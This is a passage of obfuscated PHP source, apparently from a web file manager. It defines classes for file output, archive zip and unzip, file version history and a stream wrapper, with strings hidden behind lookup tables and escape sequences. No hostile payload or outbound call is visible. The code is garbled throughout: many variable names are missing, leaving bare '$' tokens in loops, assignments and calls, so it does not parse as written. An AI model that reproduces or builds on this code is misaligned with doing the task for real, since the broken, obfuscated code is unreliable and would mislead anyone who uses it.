IO::init($ɩ); $π = $ݩͭ->pathFather($ݩͭ->path); return $ݩͭ->getPathOuter($π); } public static function fileOut($, $҇ = false, $ = false, $ԑ遒 = '') { $Ӛ = self::driverMake($); if ($Ӛ->isFileOutServer()) { return $Ӛ->fileOutServer($, $҇, $, $ԑ遒); } return $Ӛ->fileOut($, $҇, $, $ԑ遒); } public static function fileOutImage($, $ = 250) { $ = array(250, 600, 1200, 2000, 3000, 5000); for ($ = 0; $ < count($); $++) { if ($ == 0 && $ <= $[$]) { $ = $[$]; break; } else { if ($ > $[$ - 1] && $ <= $[$]) { $ = $[$]; break; } else { if ($ == count($) - 1 && $ > $[$]) { $ = $[$]; break; } } } } $Ȓ = self::driverMake($); if ($Ȓ->isFileOutServer()) { return $Ȓ->fileOutImageServer($, $); } return $Ȓ->fileOutImage($, $); } private static function driverIsSame($ʪ, $ަ) { $܂ =& $_SERVER[ׇ]; $㺽 = $ʪ->getType(); $ = $ަ->getType(); if ($㺽 != $) { return !1; } if ($㺽 == $܂[830]) { return !0; } if ($㺽 == $܂[109]) { return !0; } if ($ʪ->pathDriver == $ަ->pathDriver) { return !0; } return !1; } public static function copyUpdate($٨, $岢) { $٠ =& $_SERVER[ׇ]; if (!IO::exist($٨)) { return !1; } if (!IO::exist($岢)) { IO::mkdir($岢); } $ԓ = array_to_keyvalue(self::listAllSimple($٨), $٠[87]); $م = array_to_keyvalue(self::listAllSimple($岢), $٠[87]); $₍ = array(); $ж = array(); foreach ($ԓ as $晇 => $Ȟ) { if (isset($م[$晇])) { if ($Ȟ[$٠[78]] == 1) { continue; } if ($م[$晇][$٠[79]] == $Ȟ[$٠[79]]) { continue; } } if ($Ȟ[$٠[78]] == 1) { $ж[] = $岢 . $٠[8] . trim($晇, $٠[8]); continue; } $ٽ = strstr(trim($晇, $٠[8]), $٠[8]) ? get_path_father($晇) : $٠[12]; $₍[] = array($٠[1241] => $Ȟ[$٠[89]], $٠[1242] => rtrim($岢, $٠[8]) . $٠[8] . $ٽ, $٠[1243] => $Ȟ); } $ = array($٠[230] => $₍, $٠[78] => $ж); Hook::trigger($٠[1244], $٨, $岢, $); foreach ($ж as $Ȟ) { IO::mkdir($Ȟ); } foreach ($₍ as $Ȟ) { IO::copy($Ȟ[$٠[1241]], $Ȟ[$٠[1242]], REPEAT_REPLACE); } } public static function fileSubstr($‰, $ۓ, $ = false) { $΀ =& $_SERVER[ׇ]; $ķ = self::driverMake($‰); $ = $ķ->size($‰); $Ӡ = $ۓ; $Ɉć = $; if ($ۓ < 0) { $ۓ = $ + $ۓ; } if ($ === !1) { $ = $ - $ۓ; } if ($ۓ + $ > $) { $ = $ - $ۓ; } if (!$ && $ķ->getType() == $΀[109] && !$ķ->exist($‰)) { $ģ = get_path_this($‰); $כ = parse_url_query($ģ); if (is_array($כ) && isset($כ[$΀[32]])) { $ģ = urldecode($כ[$΀[32]]); } throw new Exception($΀[1245] . LNG($΀[1246]) . $΀[1044] . clear_html($ģ) . $΀[12]); } if ($ <= 0) { return $΀[12]; } if ($ۓ < 0 || $ۓ >= $ || $ > 1024 * 1024 * 10) { throw new Exception("\146\151\x6c\145\122\145\141\144\40\145\x72\x72\157\162\41\x20\163\x74\x61\x72\x74\x3d{$ۓ}\x3b\154\x65\156\147\x74\150\75{$}\x3b\x20\163\x69\x7a\x65\x3d{$}\x3b"); } $ԗ = $ķ->fileSubstr($‰, $ۓ, $); if (!$ԗ && $ && isset($GLOBALS[$΀[1247]])) { throw new Exception($GLOBALS[$΀[1247]][$΀[1248]]); } return $ԗ; } private static function driverMake(&$ζ) { $⶧ =& $_SERVER[ׇ]; $ͨ = KodIO::parse($ζ); if (!self::$driverListSystem) { $ = Model($⶧[840])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($, $⶧[475]); } if ($ͨ[$⶧[33]] == KodIO::KOD_IO && !self::$driverListSystem[$ͨ[$⶧[475]]]) { throw new Exception($⶧[1249]); return !1; } $ζ = $ͨ[$⶧[1250]]; $Ҽ葧 = self::driverGet($ͨ, $ζ); return $Ҽ葧; } private static function driverGet($߈, &$) { $٩ =& $_SERVER[ׇ]; $У = $߈[$٩[1251]]; $㟲ꉩ = $߈[$٩[475]]; switch ($߈[$٩[33]]) { case KodIO::KOD_IO: $㍻ = self::$driverListSystem[$㟲ꉩ]; break; case KodIO::KOD_SOURCE: $ = $㟲ꉩ . $; $㍻ = array($٩[1252] => $٩[1253], $٩[6] => $߈); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $͠ƙ = $GLOBALS[$٩[1254]]; self::$driverListUser = array_to_keyvalue($͠ƙ, $٩[475]); } $㍻ = self::$driverListUser[$㟲ꉩ]; break; case KodIO::KOD_SHARE_LINK: $㍻ = array($٩[1252] => $٩[1255], $٩[6] => $߈); $炬 = Action($٩[1256])->sharePathInfo($߈[$٩[87]]); $ = $炬[$٩[193]]; if (!$炬[$٩[193]]) { $؊ = Model($٩[664])->getInfo($炬[$٩[665]]); $ = KodIO::clear($؊[$٩[1257]] . $߈[$٩[1250]]); $߈[$٩[560]] = $؊; $߈[$٩[1232]] = $; $㍻ = array($٩[1252] => $٩[1258], $٩[6] => $߈); } break; case KodIO::KOD_SHARE_ITEM: $㍻ = array($٩[1252] => $٩[1259], $٩[6] => $߈); $؊ = Model($٩[664])->getInfo($߈[$٩[475]]); if ($؊[$٩[193]] == $٩[228]) { $ = KodIO::clear($؊[$٩[1257]] . $߈[$٩[1250]]); $߈[$٩[560]] = $؊; $߈[$٩[1232]] = $; $㍻ = array($٩[1252] => $٩[1260], $٩[6] => $߈); } else { if (!$) { $ = $؊[$٩[193]]; } } break; default: $ = $߈[$٩[87]]; $㍻ = array($٩[1252] => $٩[1261]); break; } $ = $߈[$٩[87]]; if (!isset(self::$driverCache[$])) { $ǐ = strtolower($㍻[$٩[98]]); $ = $GLOBALS[$٩[6]][$٩[92]][$٩[898]]; $ͣ = $٩[77] . (isset($[$ǐ]) ? $[$ǐ] : ucfirst($ǐ)); if (!class_exists($ͣ)) { show_json("{$ͣ}\40\156\x6f\x74\x20\145\x78\x69\x73\164\163\x21", !1); } $Ӡ = isset($㍻[$٩[6]]) ? $㍻[$٩[6]] : !1; self::$driverCache[$] = new $ͣ($Ӡ); } $ = self::$driverCache[$]; $->pathDriver = $У; $->pathBase = $٩[12]; if (isset($㍻[$٩[6]][$٩[1262]])) { $->pathBase = rtrim($㍻[$٩[6]][$٩[1262]], $٩[8]) . $٩[8]; $ = $->pathBase . ltrim($, $٩[8]); } $ = $->getPath($); if (isset($߈[$٩[1232]])) { $ = $߈[$٩[1232]]; } $->path = $; return $; } public static function errorTips($ = false) { $ =& $_SERVER[ׇ]; static $lj = array(); $Ȉ򽈸 = 1000; if ($ === -1) { return $lj ? $lj[count($lj) - 1] : $[12]; } if ($ === !1) { return implode($[262], $lj); } if (count($lj) >= $Ȉ򽈸) { $lj = array_slice($lj, $Ȉ򽈸 * 0.5, $Ȉ򽈸); } $lj[] = $; write_log($[176] . ACTION . $[1263] . $, $[1264]); } public static function getLastError($Ŋ = '') { $Ӕ = self::errorTips(-1); return $Ӕ ? $Ӕ : $Ŋ; } } class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $К; if ($К) { return $К; } $ʮߛ = IO::init($_SERVER[ׇ][8]); return $ʮߛ; } private static function iconvSystem($⟣) { return self::local()->iconvSystem($⟣); } private static function iconvApp($) { return self::local()->iconvApp($); } public static function zipFolder($, $ѥԒ = "\172\151\160", $ = '', $ = REPEAT_RENAME) { $ =& $_SERVER[ׇ]; $ʒ = IO::listPath($); if (!$ʒ) { return !1; } $ʒ = array_merge($ʒ[$[85]], $ʒ[$[86]]); return self::zip($ʒ, $ѥԒ, $, $); } public static function zip($ü, $ᢀ = "\x7a\x69\x70", $Ԙʎ = '', $ = REPEAT_RENAME) { $ =& $_SERVER[ׇ]; if (is_string($ü) && $ü) { $ü = array(array($[87] => $ü)); } $ர = self::init($ü[0][$[87]]); $ρ = self::info($ü[0][$[87]]); $ͬ = $[12]; $ = $[12]; $墛 = $[12]; if ($Ԙʎ && substr($Ԙʎ, -1, 1) != $[8]) { $ = get_path_father($Ԙʎ); $墛 = get_path_this($Ԙʎ); } else { $ = self::pathFather($ρ[$[87]]); $墛 = $ρ[$[32]] . $[10] . $ᢀ; if (count($ü) > 1) { $ڃݢٲ = IO::info($); $墛 = $ڃݢٲ[$[32]] . $[10] . $ᢀ; } if ($Ԙʎ) { $ = $Ԙʎ; } } if ($ர->getType() == $[109]) { $¹ = self::init($); $Ђ = $¹->getType() == $[109] ? $ : get_path_father($ர->path); $Ђ = rtrim($Ђ, $[8]) . $[8]; mk_dir($Ђ); } else { $ͬ = TEMP_FILES . $[1265] . time() . rand_string(8) . $[8]; mk_dir($ͬ); file_put_contents($ͬ . $[1266], $[12]); $Ђ = $ͬ; } $ɇ = IO::info($Ђ); if (!$ɇ || !$ɇ[$[233]]) { show_json(LNG($[1267]), !1); } $Ӆ = self::zipFileList($ü, $ͬ); foreach ($Ӆ as $ => $) { $Ӆ[$] = self::iconvSystem($); } $ = get_filename_auto($Ђ . $墛, $[12], $); KodArchive::create(self::iconvSystem($), $Ӆ); if (!IO::exist($)) { if ($ͬ) { del_dir($ͬ); } write_log($[1268] . $, $[389]); show_json(LNG($[1269]), !1); } if (!$ͬ) { return $; } $ܰ = self::move($, $, $); if ($ͬ) { del_dir($ͬ); } if (!$) { write_log($[1270] . $ . $[1271] . $, $[389]); show_json(LNG($[1269]), !1); } return $ܰ; } public static function unzip($Ѯ, $ʔԙ, $ = "\x2d\x31", $ˠ = "\x72\x65\160\x6c\x61\143\145") { $ =& $_SERVER[ׇ]; $Ҡ = parent::info($Ѯ); if (!$Ҡ) { show_json(LNG($[1272]), !1); } $Ƥ = IO::infoFullSimple($ʔԙ); if (!$Ƥ) { $ʔԙ = IO::mkdir($ʔԙ); } if (isset($Ƥ[$[193]]) && trim($Ƥ[$[87]], $[8]) != trim($ʔԙ, $[8])) { $ = KodIO::make($Ƥ[$[192]]); $򀀧 = IO::fileNameAuto($, $Ƥ[$[32]], REPEAT_RENAME_FOLDER, !0); $ʔԙ = IO::mkdir($ . $򀀧); } $ = $ && $ != $[1273] ? @json_decode($, !0) : -1; $ = self::unzipPart($Ѯ, $); if (!$ || !IO::exist($[$[230]])) { show_json(LNG($[108]), !1); } $Ԡ = $[$[1274]][count($[$[1274]]) - 1]; if ($Ԡ[$[1275]] == -1 || substr($Ԡ[$[32]], -1, 1) == $[8]) { $ = $[$[1276]] . rand_string(10) . $[8]; mk_dir($); $ = count($[$[1274]]) == 1 ? IO::ext($Ѯ) : get_path_ext($[$[230]]); $Ȣ = KodArchive::extract(self::iconvSystem($[$[230]]), $, $Ԡ[$[1275]], $򀀧, $); self::unzipErrorCheck($Ȣ, array($[1277], $Ѯ, $, $ʔԙ, $)); Hook::trigger($[1278], $); recursion_dir($, $׼, $ԋ, 0); $Զ = array_merge($׼, $ԋ); $ϐ = array(); foreach ($Զ as $®ж) { $ƍ = IO::move(self::iconvApp($®ж), $ʔԙ, $ˠ); if ($ƍ) { $ϐ[] = $ƍ; } } del_dir($); } else { $ƍ = IO::move($[$[230]], $ʔԙ, $ˠ, get_path_this($Ԡ[$[32]])); if ($ƍ) { $ϐ[] = $ƍ; } } return $ϐ ? $ϐ : !1; } public static function unzipList($؋) { $ؽĄ =& $_SERVER[ׇ]; $՚ = isset($؋[$ؽĄ[1279]]) ? $؋[$ؽĄ[1279]] : !1; $ = isset($؋[$ؽĄ[1275]]) ? @json_decode($؋[$ؽĄ[1275]], !0) : -1; $ = self::unzipPart($؋[$ؽĄ[87]], $); if (!$ || !IO::exist($[$ؽĄ[230]])) { show_json(LNG($ؽĄ[108]), !1); } $٭ = $[$ؽĄ[1274]][count($[$ؽĄ[1274]]) - 1]; $銧 = in_array(IO::ext($[$ؽĄ[230]]), array($ؽĄ[389], $ؽĄ[1280], $ؽĄ[1281], $ؽĄ[1282], $ؽĄ[1283], $ؽĄ[1284])); if (!$՚ && ($٭[$ؽĄ[1275]] == -1 || $銧)) { $𪼻 = $[$ؽĄ[1276]] . get_path_this($[$ؽĄ[230]]) . $ؽĄ[1285]; if (!IO::exist($𪼻)) { $ۈ = $٭[$ؽĄ[1275]] == -1 ? get_path_ext(IO::pathThis($؋[$ؽĄ[87]])) : get_path_ext($[$ؽĄ[230]]); $ǽ = KodArchive::listContent(self::iconvSystem($[$ؽĄ[230]]), !0, $ۈ); self::unzipErrorCheck($ǽ, array($ؽĄ[1286], $؋, $)); @file_put_contents($𪼻, json_encode($ǽ[$ؽĄ[1287]])); } return @json_decode(IO::getContent($𪼻), !0); } IO::fileOut($[$ؽĄ[230]], $՚, get_path_this($٭[$ؽĄ[32]])); die; } private static function zipFileList($ψ, $ž = false) { $ =& $_SERVER[ׇ]; $ = array(); foreach ($ψ as $) { $ = $[$[87]]; if ($ž) { $ = self::copy($[$[87]], $ž, $[891]); } else { $ր = self::init($[$[87]]); if ($ր->getType() == $[109]) { $ = $ր->path; } } if ($ && self::local()->exist($)) { $[$[$[87]]] = $; } } if (!empty($)) { return array_values($); } show_json(LNG($[1246]), !1); } private static function localFilePath($) { $ =& $_SERVER[ׇ]; $Ԝ = KodIO::parse($); if ($Ԝ[$[33]] == KodIO::KOD_SOURCE) { $NJ = Model($[897])->fileInfoGet(KodIO::sourceID($)); if (!$NJ[$[87]]) { show_json($[1288], !1); } $ = $NJ[$[87]]; } $ď׸ = self::init($); if ($ď׸->pathParse[$[1232]]) { $ = $ď׸->pathParse[$[1232]]; $ď׸ = self::init($); } $ = $ď׸->getType(); if ($ == $[109] || $ == $[1289]) { if (!$ď׸->exist($ď׸->path)) { show_json(LNG($[108]), !1); } return $ď׸->path; } return !1; } public static function unzipPart($ч, $њ = -1) { $ =& $_SERVER[ׇ]; $́Ӻ = IO::pathThis($ч); if (!$њ || $њ == -1) { $݂ = array(array($[32] => $́Ӻ, $[1275] => -1)); $݂[0][$[1290]] = $݂[0][$[32]]; } else { if (is_array($њ)) { $݂ = $њ; $͆ = count($݂) - 1; for ($ɩ = 0; $ɩ <= $͆; $ɩ++) { $ = $݂[$ɩ]; $ = get_path_this($[$[32]]) . (checkExtSafe($[$[32]]) ? $[12] : $[1291]); $݂[$ɩ][$[1290]] = $[1292] . intval($[$[1275]]) . $[462] . $; if ($ɩ == 0) { continue; } $݂[$ɩ][$[1290]] = $݂[$ɩ - 1][$[1290]] . $[1293] . $݂[$ɩ][$[1290]]; } } } if (!is_array($݂) || count($݂) == 0) { return !1; } $ = $݂[count($݂) - 1]; if (!IO::exist($ч)) { return !1; } $ڬ = TEMP_FILES . $[1294] . kodIO::hashPathSafe($ч) . $[8]; $尓 = $ڬ . $[$[1290]]; mk_dir($ڬ); file_put_contents(TEMP_FILES . $[1266], $[12]); if (IO::exist($尓)) { return array($[230] => $尓, $[1274] => $݂, $[1276] => $ڬ); } $ټ = self::localFilePath($ч); if (!$ټ) { $ټ = $ڬ . $[1295]; if (!IO::exist($ټ)) { self::copy($ч, $ڬ, !1, get_path_this($ټ)); } } if (!$ټ || !IO::exist($ټ)) { return !1; } if ($[$[1275]] == -1) { return array($[230] => $ټ, $[1274] => $݂, $[1276] => $ڬ); } $ʌ = $ټ; foreach ($݂ as $ɩ => $) { if (!$ || $[$[1275]] == $[1273]) { break; } if (substr($[$[32]], -1, 1) == $[8]) { break; } $ = in_array(get_path_ext($[$[1290]]), array($[389], $[1280], $[1281], $[1282], $[1283], $[1284])); $ = $ɩ == count($݂) - 1 && $; $򔩺 = $ڬ . $[$[1290]]; $ۆ = $ڬ . get_path_this($[$[32]]); if (IO::exist($򔩺)) { $ʌ = $򔩺; continue; } $ԏ = $ɩ == 0 ? get_path_ext($́Ӻ) : get_path_ext($ʌ); $ɀ = KodArchive::extract(self::iconvSystem($ʌ), $ڬ, $[$[1275]], $䠄, $ԏ); self::unzipErrorCheck($ɀ, array($[1296], $ч, $݂, $, $򔩺)); if (IO::exist($ۆ)) { IO::rename($ۆ, get_path_this($򔩺)); } $ʌ = $򔩺; } $尓 = $ʌ; return array($[230] => $ʌ, $[1274] => $݂, $[1276] => $ڬ); } private static function unzipErrorCheck($, $탟 = false) { $ =& $_SERVER[ׇ]; if ($[$[1297]]) { return !0; } write_log(array($[1298], $, $탟), $[1299]); show_json($[1300] . json_encode($[$[1287]]), !1); die; } } class IOHistory { public static $_historyBase = ''; function __construct() { } public static function bindEvent() { $ԙ =& $_SERVER[ׇ]; $߫ = $GLOBALS[$ԙ[6]][$ԙ[92]]; if ($߫[$ԙ[1301]] != 1) { return; } if ($߫[$ԙ[1302]] <= 0) { return; } if (isset($_REQUEST[$ԙ[1303]]) && $_REQUEST[$ԙ[1303]] == $ԙ[91]) { return; } Hook::bind($ԙ[1304], $ԙ[1305]); Hook::bind($ԙ[1306], $ԙ[1307]); Hook::bind($ԙ[1308], $ԙ[1309]); Hook::bind($ԙ[1310], $ԙ[1311]); Hook::bind($ԙ[1312], $ԙ[1313]); Hook::bind($ԙ[1314], $ԙ[1315]); } public static function eventBeforeUpload($ۭ) { if ($ۭ[3] && $ۭ[3] != REPEAT_REPLACE) { return; } $ = self::parsePath($ۭ[0]); if (!$) { return; } self::add($); } public static function eventBeforeEdit($) { $ = self::parsePath($[0]); if (!$) { return; } self::add($); } public static function eventBeforeCopyFile($պ, $, $, $ϭ, $صœ, $) { $ =& $_SERVER[ׇ]; if (isset($->_data[$[1236]]) && $->_data[$[1236]]) { return; } $򨋺 = $->getPathOuter($ϭ); $ = self::parsePath($򨋺); if (!$) { return; } self::add($); } public static function eventBeforeRename($) { $ =& $_SERVER[ׇ]; $ = self::parsePath($[0]); if (!$) { return; } $ք𺶳 = self::checkInHistory($); if (!$ք𺶳) { return; } if ($ք𺶳[$[33]] == $[230]) { $ = self::listData($); if ($ && $[$[445]]) { self::moveHistory($, $[1]); } } else { IO::rename($ք𺶳[$[87]], $[1]); } } public static function eventBeforeMove($͖) { $Ȳᱦ =& $_SERVER[ׇ]; $˔ = self::parsePath($͖[0]); if (!$˔) { return; } $č = self::parsePath($͖[1]); if (!$č) { return; } $Ļ = $͖[3]; $ȷ = self::checkInHistory($˔); if (!$ȷ) { return; } $ڕբ = self::pathHistory($č); if ($ȷ[$Ȳᱦ[33]] == $Ȳᱦ[230]) { $ײ = self::listData($˔); $ = rtrim($č, $Ȳᱦ[8]) . $Ȳᱦ[8] . ($Ļ ? $Ļ : get_path_this($˔)); $߿ = self::listData($); if ($ײ && $ײ[$Ȳᱦ[445]] && $߿ && $߿[$Ȳᱦ[445]]) { return self::clear($˔); } if ($ײ && $ײ[$Ȳᱦ[445]]) { self::moveHistory($˔, $Ļ, $ڕբ); } } else { IO::move($ȷ[$Ȳᱦ[87]], $ڕբ, !1, $Ļ); self::clearEmptyFolder(IO::pathFather($ȷ[$Ȳᱦ[87]])); } } public static function eventAfterRemove($㩊, $) { $Ķ =& $_SERVER[ׇ]; if (!$) { return; } $ = self::parsePath($㩊[0]); if (!$) { return; } $ًĿ = self::checkInHistory($); if (!$ًĿ) { return; } if ($ًĿ[$Ķ[33]] == $Ķ[230]) { $ޔ = self::listData($, !1); if ($ޔ && $ޔ[$Ķ[445]]) { self::clear($, !1); } } else { IO::remove($ًĿ[$Ķ[87]]); self::clearEmptyFolder(IO::pathFather($ًĿ[$Ķ[87]])); } } private static function checkInHistory($ۯ) { $ҹ = self::pathHistory($ۯ); if (!IO::exist($ҹ)) { $ҹ .= $_SERVER[ׇ][1316]; } return IO::exist($ҹ) ? IO::info($ҹ) : !1; } private static function parsePath($锃) { $˺ =& $_SERVER[ׇ]; if (!$锃) { return !1; } if (isset($GLOBALS[$˺[1317]]) && $GLOBALS[$˺[1317]]) { return; } $둧 = KodIO::parse($锃); $ = $둧[$˺[33]]; $ˮ = !$ || $ == KodIO::KOD_IO || $ == KodIO::KOD_SHARE_ITEM; if (!$ˮ || !$둧[$˺[1318]]) { return !1; } if (substr($锃, 0, strlen(DATA_PATH . $˺[1319])) == DATA_PATH . $˺[1319]) { return !1; } if ($ == KodIO::KOD_SHARE_ITEM) { $֭ = IO::init($锃); if ($֭->pathParse[$˺[1232]]) { return self::parsePath($֭->pathParse[$˺[1232]]); } return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } $Ӻ = array(self::$_historyBase, TEMP_PATH, BASIC_PATH . $˺[1320]); foreach ($Ӻ as $Ʌ) { if (!$ && substr($锃, 0, strlen($Ʌ)) == $Ʌ) { return !1; } } self::log($GLOBALS[$˺[1227]] . $˺[1321] . $锃); return $锃; } private static function pathHistory($) { $խ =& $_SERVER[ׇ]; $ = self::$_historyBase . ltrim(KodIO::clear($), $խ[8]); $ = str_replace(array($խ[1322]), array($խ[1323]), $); return $; } public static function log($ެ) { } public static function historyCount($) { $Š =& $_SERVER[ׇ]; $ = array(); $ = array(); foreach ($ as $􅃿) { $ = get_path_father($􅃿); if (!$[$]) { $[$] = array(); } $[$][] = get_path_this($􅃿); } foreach ($ as $ => $У) { $˾ = self::parsePath($); if (!$˾) { continue; } foreach ($У as $Ύ) { $ = self::listData(rtrim($˾, $Š[8]) . $Š[8] . $Ύ, !1); if ($ && $[$Š[445]]) { $[rtrim($, $Š[8]) . $Š[8] . $Ύ] = count($[$Š[445]]); } } } return $; } public static function add($ϕ) { $Ց =& $_SERVER[ׇ]; $߲ = self::listData($ϕ); if (!$߲) { return; } $Њ = Model($Ց[843])->get($Ց[1324]); $իߟ = intval($GLOBALS[$Ց[6]][$Ց[92]][$Ց[1302]]); $ä = $Њ == $Ց[1325] ? min(5, $իߟ) : $իߟ; if ($իߟ <= 0) { return; } $ = IO::info($ϕ); $ = $߲[$Ց[445]]; if ($[$Ց[79]] == 0) { return; } if ($[$Ց[79]] >= 1024 * 1024 * 500) { return !1; } $˃ = IO::hashSimple($ϕ); if ($ && $[0][$Ց[672]] == $˃) { return !0; } if (array_key_exists($Ց[233], $) && !$[$Ց[233]]) { return !1; } $Փ = short_id(time()); $߮ = array($Ց[475] => $Փ, $Ց[672] => $˃, $Ց[32] => $[$Ց[32]] . $Ց[10] . date($Ց[1326]) . rand_string(1), $Ց[79] => $[$Ց[79]], $Ց[527] => USER_ID, $Ց[231] => time(), $Ց[1327] => $Ց[12]); IO::mkdir($߲[$Ց[1328]]); $ = IO::copy($ϕ, $߲[$Ց[1328]], !1, $߮[$Ց[32]]); if (!$) { self::clearEmptyFolder($߲[$Ց[1328]]); return !1; } array_unshift($, $߮); if (count($) > $ä) { $ = array_slice($, $ä); foreach ($ as $ք) { IO::remove($߲[$Ց[1328]] . $ք[$Ց[32]]); } $ = array_slice($, 0, $ä); } return self::saveData($߲[$Ց[1329]], $); } public static function remove($߶, $) { $ =& $_SERVER[ׇ]; $ϲԅ = self::listData($߶); $숝 = array(); if (!$ϲԅ) { return !1; } foreach ($ϲԅ[$[445]] as $) { if ($[$[475]] == $) { IO::remove($ϲԅ[$[1328]] . $[$[32]]); continue; } $숝[] = $; } return self::saveData($ϲԅ[$[1329]], $숝); } public static function clear($, $ցމ = true) { $ =& $_SERVER[ׇ]; $ = self::listData($, $ցމ); if (!$) { return !1; } foreach ($[$[445]] as $Ѽ) { IO::remove($[$[1328]] . $Ѽ[$[32]]); } return self::saveData($[$[1329]], array()); } public static function moveHistory($ڧ, $В = '', $㐯 = '') { $Ͻю =& $_SERVER[ׇ]; $噿 = self::listData($ڧ, !1); if (!$噿 || !$噿[$Ͻю[445]]) { return !1; } $֗Ψ = $Ͻю[1316]; $В = $В ? $В : get_path_this($ڧ); $㐯 = $㐯 ? $㐯 : $噿[$Ͻю[1328]]; $ʪ = substr(get_path_this($噿[$Ͻю[1329]]), 0, -strlen($֗Ψ)); foreach ($噿[$Ͻю[445]] as $Ğկ => $ޖ) { $ = $В . substr($ޖ[$Ͻю[32]], strlen($ʪ)); $ޛ = IO::move($噿[$Ͻю[1328]] . $ޖ[$Ͻю[32]], $㐯, !1, $); if ($ޛ) { $噿[$Ͻю[445]][$Ğկ][$Ͻю[32]] = $; } } $噿[$Ͻю[1329]] = IO::move($噿[$Ͻю[1329]], $㐯, !1, $В . $֗Ψ); self::saveData($噿[$Ͻю[1329]], $噿[$Ͻю[445]]); self::clearEmptyFolder($噿[$Ͻю[1328]]); } public static function rollback($מ, $Ύ) { $ =& $_SERVER[ׇ]; $ = self::listData($מ); if (!$) { return; } $ = IO::info($מ); foreach ($[$[445]] as $Ά => $) { if ($[$[475]] == $Ύ) { self::add($מ); $ = $[$[1328]] . $[$[32]]; $ℝ = IO::copy($, IO::pathFather($מ), REPEAT_REPLACE, $[$[32]]); if ($ℝ) { self::remove($מ, $Ύ); } return $ℝ; } } return !1; } public static function setDetail($ɧ, $ةܧ, $) { $ =& $_SERVER[ׇ]; $ = self::listData($ɧ); if (!$) { return; } foreach ($[$[445]] as $Թ̠ => $) { if ($[$[475]] == $ةܧ) { $[$[445]][$Թ̠][$[1327]] = $; self::saveData($[$[1329]], $[$[445]]); return !0; } } return !1; } public static function fileInfo($, $) { $˫ =& $_SERVER[ׇ]; $ַ = self::listData($); if (!$ַ) { show_json(LNG($˫[108]), !1); } $ب´ = $˫[12]; foreach ($ַ[$˫[445]] as $ω => $) { if ($[$˫[475]] != $) { continue; } $ب´ = $ַ[$˫[1328]] . $[$˫[32]]; break; } if (!$ب´) { show_json(LNG($˫[108]), !1); } return IO::info($ب´); } public static function fileOut($ڣ, $, $ = false) { $ =& $_SERVER[ׇ]; $‡ŀ = self::fileInfo($ڣ, $); $ =& $GLOBALS[$[7]]; $ = isset($[$[1279]]) && $[$[1279]] == 1; if (isset($[$[33]]) && $[$[33]] == $[1330]) { return IO::fileOutImage($‡ŀ[$[87]], $[$[1331]]); } IO::fileOut($‡ŀ[$[87]], $, get_path_this($ڣ)); } public static function listData($, $؃͟ = true) { $˖ =& $_SERVER[ׇ]; if ($؃͟ && !IO::exist($)) { return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } if (substr($, 0, strlen(TEMP_PATH)) == TEMP_PATH) { return !1; } $Ҽ = self::pathHistory($); $ְ = array($˖[1329] => $Ҽ . $˖[1316], $˖[1328] => rtrim(get_path_father($Ҽ), $˖[8]) . $˖[8], $˖[445] => array()); $讉 = IO::getContent($ְ[$˖[1329]]); if ($讉) { $܃ = json_decode($讉, !0); if (is_array($܃)) { $ְ[$˖[445]] = $܃; } } return $ְ; } private static function saveData($, $९) { $ˬ =& $_SERVER[ׇ]; self::log($ˬ[1332] . $ . $ˬ[74] . count($९), $ˬ[825]); if ($९) { return IO::setContent($, json_encode($९)); } $֖ = IO::pathFather($); IO::remove($); self::clearEmptyFolder($֖); return !0; } public static function clearEmptyFolder($ȹ) { $á =& $_SERVER[ׇ]; if (trim($ȹ, $á[8]) == trim(self::$_historyBase, $á[8])) { return; } $ = IO::pathFather($ȹ); $Ʃ = IO::has($ȹ, !0); if ($Ʃ[$á[239]] > 0 || $Ʃ[$á[240]] > 0) { return; } IO::remove($ȹ); self::clearEmptyFolder($); } private static function getBasePath() { $֎ =& $_SERVER[ׇ]; $넍 = Model($֎[1333])->get($֎[1334]); if ($넍) { if (!IO::exist($넍)) { IO::mkdir($넍); } if (get_path_this($넍) == $֎[1319]) { $򹆱 = $֎[1335] . rand_string(8); @rename($넍, get_path_father($넍) . $֎[8] . $򹆱); $넍 = DATA_PATH . $򹆱 . $֎[8]; file_put_contents(DATA_PATH . $֎[1266], $֎[12]); Model($֎[1333])->set($֎[1334], $넍); } return $넍; } $넍 = DATA_PATH . $֎[1335] . rand_string(8) . $֎[8]; $넍 = IO::mkdir($넍); $넍 = rtrim($넍, $֎[8]) . $֎[8]; file_put_contents($넍 . $֎[1266], $֎[12]); file_put_contents(DATA_PATH . $֎[1266], $֎[12]); Model($֎[1333])->set($֎[1334], $넍); return $넍; } } goto cݮ; dւ؍: class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_fopenCache = array(); static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($, $ = '') { $this->info = $this->info($); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[ׇ][87]]; $this->pathOpen = $; if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$])) { self::$_chunkBuffer[$] = array(); } self::$_fopenCache[$this->pathOpen] = $this; return $this->info ? !0 : !1; } function stream_read($) { $ = $this->fileSubstr($this->pose, $); $this->pose += strlen($); return $; } public function stream_tell() { return $this->pose; } public function stream_seek($ݒ, $ω) { $Ј =& $_SERVER[ׇ]; if ($ω == SEEK_SET) { $this->pose = $ݒ; } else { if ($ω == SEEK_CUR) { $this->pose += $ݒ; } else { if ($ω == SEEK_END) { $this->pose = $this->info[$Ј[79]] + intval($ݒ); } } } if ($ݒ < 0) { $this->pose = $this->info[$Ј[79]] + $ݒ; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[ׇ][79]]; } public function stream_close() { unset(self::$_fopenCache[$this->pathOpen]); return !0; } public function url_stat($Ҝ, $ߚ) { $ =& $_SERVER[ׇ]; $ = $this->info($Ҝ); return array($[1608] => 0, $[1609] => 0, $[16] => 32768 + 511, $[1610] => 0, $[1611] => 0, $[1612] => 0, $[1613] => 0, $[79] => $[$[79]], $[1614] => $[$[1454]], $[1570] => $[$[88]], $[1569] => $[$[231]], $[1615] => 0, $[1616] => 0); } static $fileInfo = array(); public function info($) { $牂ɬ = $_SERVER[ׇ][1617]; if (isset(self::$fileInfo[$])) { return self::$fileInfo[$]; } if (substr($, 0, strlen($牂ɬ)) != $牂ɬ) { return !1; } self::$fileInfo[$] = 